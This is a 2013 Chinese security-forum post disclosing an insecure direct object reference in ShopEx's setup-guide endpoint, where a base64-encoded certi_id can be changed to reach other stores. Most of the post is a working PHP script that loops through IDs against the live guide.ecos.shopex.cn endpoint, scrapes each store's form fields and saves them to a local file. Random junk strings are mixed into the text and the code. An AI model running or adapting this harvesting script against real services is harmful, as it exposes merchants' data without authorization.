找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2898|回复: 0
打印 上一主题 下一主题

ShopEx某接口缺陷可遍历所有用户网站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 15:59:47 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:
0 {4 C+ J& U- m: \* p* dShopEx某接口缺陷,可遍历所有网站
! }" X0 n0 C7 R( X7 z7 H, r$ F详细说明:
3 D& Q5 f% ]" Y$ B  T问题出现在shopex 网店使用向导页面 , m2 l! _7 O. N7 o  ?/ \, H
1 P6 D- Y: `% F4 W' i, y

7 {) N' h4 A% e7 r& n* y- z4 k- S
: h$ V, N. Z7 ~( g( D' h- Fhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
  J; R3 F/ [& L7 z8 Y
0 \( ?" ~8 f! ~6 F' [4 ^
- _$ P$ `7 m! @7 A
! S9 G9 D' g" n" m; mrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}& M5 Q  D, r  C7 c

1 `" a. a1 |1 Y* u3 A$ Q- a
! k' ~1 h) x, l- S2 P7 J& i2 ~: U# d2 H3 s
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 * P# P! U4 |' ?9 M

" }' v2 l: H4 {% }8 u$ g* l
* A; x- i* |- e& q, B# B7 R4 K; r5 P4 _  B! M2 r. X4 f
<?php# b1 z: v9 ?; H; V: e
* d! I" o: l# Z0 W2 G
                for ($i=1; $i < 10000; $i++) { //遍历2 i6 @. j# [* F: G3 p

9 `4 x8 U  l, }4 r& {6 P4 G4 `                        ShowshopExD($i);
+ m- o+ ?( ^. G6 x$ x4 E7 e  U9 O3 H8 Y0 T0 w3 V% v2 V
                }
9 q) W! j$ O) s0 S' I7 b6 a8 |* s8 w$ ]( n& _
                function ShowshopExD($cid) {# L" ?/ f1 Y4 Q4 r
9 b+ ~4 S9 n4 P" W4 \+ F
                $url='http://guide.ecos.shopex.cn/step2.php';; Q: X2 Y9 Z; W- b0 G" m

+ d2 ^* B6 b6 N$ x/ W4 m( U" f                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');- J8 U/ ?& t& b! l
" ~, ]5 M2 E# o8 n4 L; I5 [
        $url = $url.'?refer='.$refer;
3 S: ?) O/ R* f! {; R4 y
5 X8 r  Z/ G; T  f+ V        $ch = curl_init($url);3 x" \; k$ `, H+ _$ }: I

; p. e4 K1 [3 D$ r( o. _: s& M: q        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
0 H7 ]  K5 V) z/ \9 J  t7 c
, y$ |0 v7 G: }+ U/ C        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;7 P9 D+ r1 k8 R$ o0 C* P* _

1 `  ]9 n  H% a3 Q" V8 q        $result = curl_exec($ch);/ m; W% }/ J) U4 N- J& C/ ?
9 c" f3 H$ _3 j( F  V; B" Y
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
4 x5 }0 x( e: k5 e, s4 S+ ?& j- f: J/ e) h( t
        if(strpos($result,$refer))
+ O- K; ^0 n% ?0 Q0 }' \& d; E2 c6 Q9 z3 m2 @( U5 R
        {( D: ?' M2 w/ x

3 A# w4 O) H/ L8 {4 j8 P                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件5 J9 Y- A( t' ?7 x0 I. d+ I; i
% Z. d. Y" ^$ A$ c/ p( E4 z
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
  g1 v3 Z/ L7 K0 t! X( {3 b8 L* R3 d; _7 v  ?9 H* K) G/ j
                foreach ($value[1] as $key) {
3 z* T+ m) s9 Y! q2 p& |- H, A3 j+ ]3 u$ J! K* ]+ q2 q
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
! l3 M6 t. v) ]5 ?* t7 N8 U
8 u- k! t+ Y- D7 h. E! D                        echo $res[1][0].':'.$res[3][0]."\r\n";
1 [: a  Q/ s0 `  G3 ^5 H" F) \; m+ L& |4 k
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
; h% d& C4 t1 D5 r( P# f; V% s9 E1 Z# ?# F3 A! Q. |  Z
                        fwrite($fp, $col, strlen($col)); ' p) w' n1 }3 C. w! g% B, B

5 e. T& G8 j: Z  p1 K& @                }
: `7 y' E  z; u+ U9 i
) u1 {/ s' z& q  Y$ s                echo '--------------------------------'."\r\n";
) ]/ L6 F6 X& u' [; x) W2 k* U9 C$ ?# g1 v7 b% m( D) L) J+ `5 r
                fclose($fp);
6 h6 r; `& `. n# G/ B4 K' I3 f' P3 _+ P0 v/ _
        }+ v; ?5 ]# I, c: O; N$ d
' ~& U1 c8 h0 W# e0 Y8 a
        flush();3 f$ M: b+ K9 R$ L# `) \0 z

$ v; U! a. c( z+ M. f7 l% R% B        curl_close($ch);4 `5 z! C  p& w8 B1 P

3 e5 B  z' J) ^; L+ L& M! i                }
) S5 j, {$ r9 V9 ?6 G
: {; h+ k% k  z/ \?>
- L$ C: a6 b. R  V! Q漏洞证明:* I( @6 p2 A/ q/ X6 c" M- K
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
2 X( q& R! V! \; o; C! grefer换成其他加密方式$ q& W( r9 {) |2 R5 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表